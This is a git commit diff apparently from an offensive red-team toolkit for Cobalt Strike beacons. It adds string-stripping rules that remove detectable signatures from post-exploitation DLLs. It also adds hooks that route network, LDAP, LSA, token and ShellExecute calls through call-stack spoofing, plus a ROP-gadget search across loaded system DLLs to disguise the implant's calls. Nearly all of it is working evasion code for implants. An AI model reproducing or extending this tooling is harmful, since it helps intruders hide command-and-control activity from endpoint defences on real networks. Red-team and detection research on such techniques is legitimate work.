mirror of
https://github.com/PhantomSecurityGroup/Crystal-Kit
synced 2026-06-06 16:34:31 +00:00
feat: Added hooks - Added strreps - update gitignore - fixed code size (#5)
* update gitignore * Fixed code size issue and added all hooks * Add hooking for HttpSendRequestA - add multiple modules to do stack spoofing with call instructions before gadget - update cna strreps
This commit is contained in:
@@ -50,3 +50,5 @@ modules.order
|
||||
Module.symvers
|
||||
Mkfile.old
|
||||
dkms.conf
|
||||
|
||||
crystalpalace.jar
|
||||
|
||||
@@ -141,6 +141,7 @@ set BEACON_RDLL_SIZE {
|
||||
|
||||
set BEACON_RDLL_GENERATE_LOCAL
|
||||
{
|
||||
print_info ( "LOCAL BUILD" );
|
||||
local ( '$beacon $arch $gmh $gpa $spec_path $spec $hash_map $final' );
|
||||
|
||||
$beacon = $2;
|
||||
@@ -177,6 +178,7 @@ set BEACON_RDLL_GENERATE_LOCAL
|
||||
|
||||
set POSTEX_RDLL_GENERATE
|
||||
{
|
||||
print_info ( "POSTEX BUILD" );
|
||||
local ( '$dll $postex $arch $gmh $gpa $spec_path $spec $hash_map $final' );
|
||||
|
||||
$dll = $1;
|
||||
@@ -929,6 +931,7 @@ set POSTEX_RDLL_GENERATE
|
||||
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "JPEG datastream contains no image", "");
|
||||
|
||||
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "ICLRMetaHost::GetRuntime", "");
|
||||
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "invokeassembly.x64.dll", "");
|
||||
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "failed w/hr 0x", "");
|
||||
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", ".NET runtime [ver", "");
|
||||
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "] cannot be loaded", "");
|
||||
@@ -951,6 +954,7 @@ set POSTEX_RDLL_GENERATE
|
||||
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "bad exception", "");
|
||||
|
||||
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Could not find signature in the", "");
|
||||
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "powershell.x64.dll", "");
|
||||
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Could not fix signature in the", "");
|
||||
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "function:", "");
|
||||
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Patch index", "");
|
||||
|
||||
@@ -23,6 +23,8 @@ x64:
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
|
||||
preserve "KERNEL32$LoadLibraryA" "draugr_wrapper"
|
||||
|
||||
# mask & link the dll
|
||||
generate $MASK 128
|
||||
push $DLL
|
||||
|
||||
@@ -37,6 +37,7 @@ x64:
|
||||
# hook functions in the DLL
|
||||
addhook "WININET$InternetOpenA" "_InternetOpenA"
|
||||
addhook "WININET$InternetConnectA" "_InternetConnectA"
|
||||
addhook "WININET$HttpSendRequestA" "_HttpSendRequestA"
|
||||
addhook "KERNEL32$CloseHandle" "_CloseHandle"
|
||||
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
|
||||
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
|
||||
@@ -64,6 +65,24 @@ x64:
|
||||
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
|
||||
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
|
||||
|
||||
# Custom hooks
|
||||
addhook "WLDAP32$ldap_bind_s" "_ldap_bind_s"
|
||||
addhook "WLDAP32$ldap_init" "_ldap_init"
|
||||
addhook "WLDAP32$ldap_search_init_pageA" "_ldap_search_init_pageA"
|
||||
addhook "WS2_32$bind" "_bind"
|
||||
addhook "WS2_32$connect" "_connect"
|
||||
addhook "WS2_32$getaddrinfo" "_getaddrinfo"
|
||||
addhook "WS2_32$send" "_send"
|
||||
addhook "WS2_32$socket" "_socket"
|
||||
addhook "SECUR32$LsaRegisterLogonProcess" "_LsaRegisterLogonProcess"
|
||||
addhook "SECUR32$LsaConnectUntrusted" "_LsaConnectUntrusted"
|
||||
addhook "SHELL32$ShellExecuteA" "_ShellExecuteA"
|
||||
addhook "ADVAPI32$GetTokenInformation" "_GetTokenInformation"
|
||||
addhook "ADVAPI32$OpenProcessToken" "_OpenProcessToken"
|
||||
addhook "KERNEL32$GetCurrentThread" "_GetCurrentThread"
|
||||
addhook "KERNEL32$GetCurrentProcess" "_GetCurrentProcess"
|
||||
addhook "KERNEL32$WaitForSingleObject" "_WaitForSingleObject"
|
||||
|
||||
# hook functions in pico
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c
|
||||
|
||||
|
||||
@@ -1,12 +1,21 @@
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <windows.h>
|
||||
#include <winldap.h>
|
||||
#include <wininet.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <combaseapi.h>
|
||||
#define SECURITY_WIN32
|
||||
#include <security.h>
|
||||
#include <ntsecapi.h>
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
#include "spoof.h"
|
||||
|
||||
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$HttpSendRequestA ( HINTERNET, LPCSTR, DWORD, LPVOID, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
|
||||
@@ -33,6 +42,27 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, L
|
||||
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
// Custom added hooks
|
||||
DECLSPEC_IMPORT int WSAAPI WS2_32$bind ( SOCKET, const struct sockaddr *, int );
|
||||
DECLSPEC_IMPORT int WSAAPI WS2_32$connect ( SOCKET, const struct sockaddr *, int );
|
||||
DECLSPEC_IMPORT int WSAAPI WS2_32$getaddrinfo ( const char *, const char *, const struct addrinfo *, struct addrinfo ** );
|
||||
DECLSPEC_IMPORT int WSAAPI WS2_32$send ( SOCKET, const char *, int, int );
|
||||
DECLSPEC_IMPORT SOCKET WSAAPI WS2_32$socket ( int, int, int );
|
||||
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken ( HANDLE, DWORD, PHANDLE );
|
||||
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetTokenInformation ( HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$WaitForSingleObject ( HANDLE, DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentThread ( VOID );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess ( VOID );
|
||||
DECLSPEC_IMPORT HINSTANCE WINAPI SHELL32$ShellExecuteA ( HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT );
|
||||
DECLSPEC_IMPORT PLDAPSearch LDAPAPI WLDAP32$ldap_search_init_pageA ( PLDAP, const PSTR, ULONG, const PSTR, PZPSTR, ULONG, PLDAPControlA *, PLDAPControlA *, ULONG, ULONG, PLDAPSortKeyA * );
|
||||
DECLSPEC_IMPORT ULONG LDAPAPI WLDAP32$ldap_bind_s ( LDAP *, const PSTR, const PCHAR, ULONG );
|
||||
DECLSPEC_IMPORT LDAP *LDAPAPI WLDAP32$ldap_init ( PSTR, ULONG );
|
||||
|
||||
// Have not been implemented as functions yet and have not yet #include the right header for types
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI SECUR32$LsaRegisterLogonProcess ( PLSA_STRING, PHANDLE, PLSA_OPERATIONAL_MODE );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI SECUR32$LsaConnectUntrusted ( PHANDLE );
|
||||
|
||||
|
||||
HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
@@ -66,6 +96,21 @@ HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName,
|
||||
return ( HINTERNET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$HttpSendRequestA );
|
||||
call.argc = 5;
|
||||
call.args [ 0 ] = spoof_arg ( hRequest );
|
||||
call.args [ 1 ] = spoof_arg ( lpszHeaders );
|
||||
call.args [ 2 ] = spoof_arg ( dwHeadersLength );
|
||||
call.args [ 3 ] = spoof_arg ( lpOptional );
|
||||
call.args [ 4 ] = spoof_arg ( dwOptionalLength );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _CloseHandle ( HANDLE hObject )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
@@ -412,3 +457,221 @@ BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
ULONG LDAPAPI _ldap_bind_s ( LDAP * ld, const PSTR dn, const PCHAR cred, ULONG method )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WLDAP32$ldap_bind_s );
|
||||
call.argc = 4;
|
||||
call.args [ 0 ] = spoof_arg ( ld );
|
||||
call.args [ 1 ] = spoof_arg ( dn );
|
||||
call.args [ 2 ] = spoof_arg ( cred );
|
||||
call.args [ 3 ] = spoof_arg ( method );
|
||||
|
||||
return ( ULONG ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LDAP * LDAPAPI _ldap_init ( PSTR HostName, ULONG PortNumber )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) WLDAP32$ldap_init;
|
||||
call.argc = 2;
|
||||
call.args [ 0 ] = spoof_arg ( HostName );
|
||||
call.args [ 1 ] = spoof_arg ( PortNumber );
|
||||
|
||||
return ( LDAP * ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
// WS2_32 and WSOCK32 hooks
|
||||
int WSAAPI _bind ( SOCKET s, const struct sockaddr * name, int namelen )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$bind );
|
||||
call.argc = 3;
|
||||
call.args [ 0 ] = spoof_arg ( s );
|
||||
call.args [ 1 ] = spoof_arg ( name );
|
||||
call.args [ 2 ] = spoof_arg ( namelen );
|
||||
|
||||
return ( int ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
int WSAAPI _send ( SOCKET s, const char * buf, int len, int flags )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$send );
|
||||
call.argc = 4;
|
||||
call.args [ 0 ] = spoof_arg ( s );
|
||||
call.args [ 1 ] = spoof_arg ( buf );
|
||||
call.args [ 2 ] = spoof_arg ( len );
|
||||
call.args [ 3 ] = spoof_arg ( flags );
|
||||
|
||||
return ( int ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
SOCKET WSAAPI _socket ( int af, int type, int protocol )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$socket );
|
||||
call.argc = 3;
|
||||
call.args [ 0 ] = spoof_arg ( af );
|
||||
call.args [ 1 ] = spoof_arg ( type );
|
||||
call.args [ 2 ] = spoof_arg ( protocol );
|
||||
|
||||
return ( SOCKET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
PLDAPSearch LDAPAPI _ldap_search_init_pageA ( PLDAP ExternalHandle, const PSTR DistinguishedName, ULONG ScopeOfSearch, const PSTR SearchFilter, PZPSTR AttributeList, ULONG AttributesOnly, PLDAPControlA * ServerControls, PLDAPControlA * ClientControls, ULONG PageTimeLimit, ULONG TotalSizeLimit, PLDAPSortKeyA * SortKeys )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) WLDAP32$ldap_search_init_pageA;
|
||||
call.argc = 11;
|
||||
call.args [ 0 ] = spoof_arg ( ExternalHandle );
|
||||
call.args [ 1 ] = spoof_arg ( DistinguishedName );
|
||||
call.args [ 2 ] = spoof_arg ( ScopeOfSearch );
|
||||
call.args [ 3 ] = spoof_arg ( SearchFilter );
|
||||
call.args [ 4 ] = spoof_arg ( AttributeList );
|
||||
call.args [ 5 ] = spoof_arg ( AttributesOnly );
|
||||
call.args [ 6 ] = spoof_arg ( ServerControls );
|
||||
call.args [ 7 ] = spoof_arg ( ClientControls );
|
||||
call.args [ 8 ] = spoof_arg ( PageTimeLimit );
|
||||
call.args [ 9 ] = spoof_arg ( TotalSizeLimit );
|
||||
call.args [ 10 ] = spoof_arg ( SortKeys );
|
||||
|
||||
return ( PLDAPSearch ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _GetTokenInformation ( HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ADVAPI32$GetTokenInformation;
|
||||
call.argc = 5;
|
||||
call.args [ 0 ] = spoof_arg ( TokenHandle );
|
||||
call.args [ 1 ] = spoof_arg ( TokenInformationClass );
|
||||
call.args [ 2 ] = spoof_arg ( TokenInformation );
|
||||
call.args [ 3 ] = spoof_arg ( TokenInformationLength );
|
||||
call.args [ 4 ] = spoof_arg ( ReturnLength );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _OpenProcessToken ( HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ADVAPI32$OpenProcessToken;
|
||||
call.argc = 3;
|
||||
call.args [ 0 ] = spoof_arg ( ProcessHandle );
|
||||
call.args [ 1 ] = spoof_arg ( DesiredAccess );
|
||||
call.args [ 2 ] = spoof_arg ( TokenHandle );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _GetCurrentThread ( VOID )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) KERNEL32$GetCurrentThread;
|
||||
call.argc = 0;
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _GetCurrentProcess ( VOID )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) KERNEL32$GetCurrentProcess;
|
||||
call.argc = 0;
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
DWORD WINAPI _WaitForSingleObject ( HANDLE hHandle, DWORD dwMilliseconds )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) KERNEL32$WaitForSingleObject;
|
||||
call.argc = 2;
|
||||
call.args [ 0 ] = spoof_arg ( hHandle );
|
||||
call.args [ 1 ] = spoof_arg ( dwMilliseconds );
|
||||
|
||||
return ( DWORD ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
// SHELL32 hooks
|
||||
HINSTANCE WINAPI _ShellExecuteA ( HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) SHELL32$ShellExecuteA;
|
||||
call.argc = 6;
|
||||
call.args [ 0 ] = spoof_arg ( hwnd );
|
||||
call.args [ 1 ] = spoof_arg ( lpOperation );
|
||||
call.args [ 2 ] = spoof_arg ( lpFile );
|
||||
call.args [ 3 ] = spoof_arg ( lpParameters );
|
||||
call.args [ 4 ] = spoof_arg ( lpDirectory );
|
||||
call.args [ 5 ] = spoof_arg ( nShowCmd );
|
||||
|
||||
return ( HINSTANCE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
// SECUR32 hooks
|
||||
NTSTATUS NTAPI _LsaRegisterLogonProcess ( PLSA_STRING LogonProcessName, PHANDLE LsaHandle, PLSA_OPERATIONAL_MODE SecurityMode )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) SECUR32$LsaRegisterLogonProcess;
|
||||
call.argc = 3;
|
||||
call.args [ 0 ] = spoof_arg ( LogonProcessName );
|
||||
call.args [ 1 ] = spoof_arg ( LsaHandle );
|
||||
call.args [ 2 ] = spoof_arg ( SecurityMode );
|
||||
|
||||
return ( NTSTATUS ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI _LsaConnectUntrusted ( PHANDLE LsaHandle )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) SECUR32$LsaConnectUntrusted;
|
||||
call.argc = 1;
|
||||
call.args [ 0 ] = spoof_arg ( LsaHandle );
|
||||
|
||||
return ( NTSTATUS ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
// WS2_32 hooks
|
||||
int WSAAPI _connect ( SOCKET s, const struct sockaddr * name, int namelen )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$connect );
|
||||
call.argc = 3;
|
||||
call.args [ 0 ] = spoof_arg ( s );
|
||||
call.args [ 1 ] = spoof_arg ( name );
|
||||
call.args [ 2 ] = spoof_arg ( namelen );
|
||||
|
||||
return ( int ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
int WSAAPI _getaddrinfo ( const char * nodename, const char * servname, const struct addrinfo * hints, struct addrinfo ** res )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$getaddrinfo );
|
||||
call.argc = 4;
|
||||
call.args [ 0 ] = spoof_arg ( nodename );
|
||||
call.args [ 1 ] = spoof_arg ( servname );
|
||||
call.args [ 2 ] = spoof_arg ( hints );
|
||||
call.args [ 3 ] = spoof_arg ( res );
|
||||
|
||||
return ( int ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
+1
-1
@@ -2,7 +2,7 @@
|
||||
|
||||
typedef struct {
|
||||
char data [ 4096 ];
|
||||
char code [ 16384 ];
|
||||
char code [ 24576 ];
|
||||
} PICO;
|
||||
|
||||
typedef struct {
|
||||
|
||||
+119
-6
@@ -95,7 +95,7 @@ extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOI
|
||||
|
||||
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
|
||||
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame, PVOID gadget )
|
||||
{
|
||||
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
|
||||
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
|
||||
@@ -108,7 +108,7 @@ void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
|
||||
frame->Frame2.Offset = 0x2c;
|
||||
|
||||
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
|
||||
frame->Gadget = gadget;
|
||||
}
|
||||
|
||||
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
|
||||
@@ -286,7 +286,63 @@ PVOID find_gadget( PVOID module )
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
if ( counter == 0 ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
seed = 0x7331;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
return gadget_list [ random ];
|
||||
}
|
||||
|
||||
PVOID find_gadget_call( PVOID module )
|
||||
{
|
||||
BOOL found_gadgets = FALSE;
|
||||
DWORD text_section_size = 0;
|
||||
DWORD text_section_va = 0;
|
||||
DWORD counter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG random = 0;
|
||||
PVOID module_text_section = NULL;
|
||||
|
||||
PVOID gadget_list [ 15 ] = { 0 };
|
||||
|
||||
if ( ! found_gadgets )
|
||||
{
|
||||
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
|
||||
|
||||
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
|
||||
{
|
||||
/* x64 opcodes are ff 23 */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
|
||||
{
|
||||
/* check for a call before the gadget */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
|
||||
{
|
||||
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
|
||||
counter++;
|
||||
|
||||
if ( counter == 15 ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
if ( counter == 0 ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
seed = 0x7331;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
@@ -305,7 +361,58 @@ ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PV
|
||||
}
|
||||
|
||||
SYNTHETIC_STACK_FRAME frame;
|
||||
init_frame_info ( &frame );
|
||||
PVOID gadget_module = NULL;
|
||||
PVOID test_gadget = NULL;
|
||||
BOOL use_kernelbase_gadget = FALSE;
|
||||
|
||||
/* Try gadget modules in order until we find one with valid gadgets */
|
||||
PVOID gadget1 = KERNEL32$GetModuleHandleA ( "archiveint.dll" );
|
||||
if ( ! gadget1 ) {
|
||||
gadget1 = LoadLibraryA ( "archiveint.dll" );
|
||||
}
|
||||
|
||||
if ( gadget1 )
|
||||
{
|
||||
test_gadget = find_gadget_call ( gadget1 );
|
||||
if ( test_gadget ) {
|
||||
gadget_module = gadget1;
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! gadget_module )
|
||||
{
|
||||
PVOID gadget2 = KERNEL32$GetModuleHandleA ( "authfwsnapin.dll" );
|
||||
if ( ! gadget2 ) {
|
||||
gadget2 = LoadLibraryA ( "authfwsnapin.dll" );
|
||||
}
|
||||
|
||||
if ( gadget2 )
|
||||
{
|
||||
test_gadget = find_gadget_call ( gadget2 );
|
||||
if ( test_gadget ) {
|
||||
gadget_module = gadget2;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! gadget_module )
|
||||
{
|
||||
PVOID gadget3 = KERNEL32$GetModuleHandleA ( "kernelbase.dll" );
|
||||
if ( gadget3 )
|
||||
{
|
||||
test_gadget = find_gadget ( gadget3 );
|
||||
if ( test_gadget ) {
|
||||
gadget_module = gadget3;
|
||||
use_kernelbase_gadget = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! gadget_module ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
init_frame_info ( &frame, gadget_module );
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
|
||||
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
@@ -325,9 +432,15 @@ ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PV
|
||||
|
||||
do
|
||||
{
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
/* Use find_gadget for kernelbase.dll, find_gadget_call for others */
|
||||
if ( use_kernelbase_gadget ) {
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
} else {
|
||||
draugr_params.Trampoline = find_gadget_call ( frame.Gadget );
|
||||
}
|
||||
|
||||
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
|
||||
|
||||
|
||||
attempts++;
|
||||
|
||||
if ( attempts > 15 ) {
|
||||
|
||||
@@ -27,6 +27,8 @@ x64:
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
|
||||
|
||||
preserve "KERNEL32$LoadLibraryA" "draugr_wrapper"
|
||||
|
||||
# mask & link the dll
|
||||
generate $MASK 128
|
||||
push $DLL
|
||||
|
||||
@@ -37,6 +37,7 @@ x64:
|
||||
# hook functions in the DLL
|
||||
addhook "WININET$InternetOpenA" "_InternetOpenA"
|
||||
addhook "WININET$InternetConnectA" "_InternetConnectA"
|
||||
addhook "WININET$HttpSendRequestA" "_HttpSendRequestA"
|
||||
addhook "KERNEL32$CloseHandle" "_CloseHandle"
|
||||
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
|
||||
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
|
||||
@@ -63,6 +64,25 @@ x64:
|
||||
addhook "KERNEL32$VirtualQuery" "_VirtualQuery"
|
||||
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
|
||||
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
|
||||
|
||||
# Custom hooks
|
||||
addhook "WLDAP32$ldap_bind_s" "_ldap_bind_s"
|
||||
addhook "WLDAP32$ldap_init" "_ldap_init"
|
||||
addhook "WLDAP32$ldap_search_init_pageA" "_ldap_search_init_pageA"
|
||||
addhook "WS2_32$bind" "_bind"
|
||||
addhook "WS2_32$connect" "_connect"
|
||||
addhook "WS2_32$getaddrinfo" "_getaddrinfo"
|
||||
addhook "WS2_32$send" "_send"
|
||||
addhook "WS2_32$socket" "_socket"
|
||||
addhook "SECUR32$LsaRegisterLogonProcess" "_LsaRegisterLogonProcess"
|
||||
addhook "SECUR32$LsaConnectUntrusted" "_LsaConnectUntrusted"
|
||||
addhook "SHELL32$ShellExecuteA" "_ShellExecuteA"
|
||||
addhook "ADVAPI32$GetTokenInformation" "_GetTokenInformation"
|
||||
addhook "ADVAPI32$OpenProcessToken" "_OpenProcessToken"
|
||||
addhook "KERNEL32$GetCurrentThread" "_GetCurrentThread"
|
||||
addhook "KERNEL32$GetCurrentProcess" "_GetCurrentProcess"
|
||||
addhook "KERNEL32$WaitForSingleObject" "_WaitForSingleObject"
|
||||
|
||||
|
||||
# hook functions in pico
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c
|
||||
|
||||
+287
-30
@@ -1,43 +1,67 @@
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <windows.h>
|
||||
#include <winldap.h>
|
||||
#include <wininet.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <combaseapi.h>
|
||||
#define SECURITY_WIN32
|
||||
#include <security.h>
|
||||
#include <ntsecapi.h>
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
#include "spoof.h"
|
||||
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
|
||||
|
||||
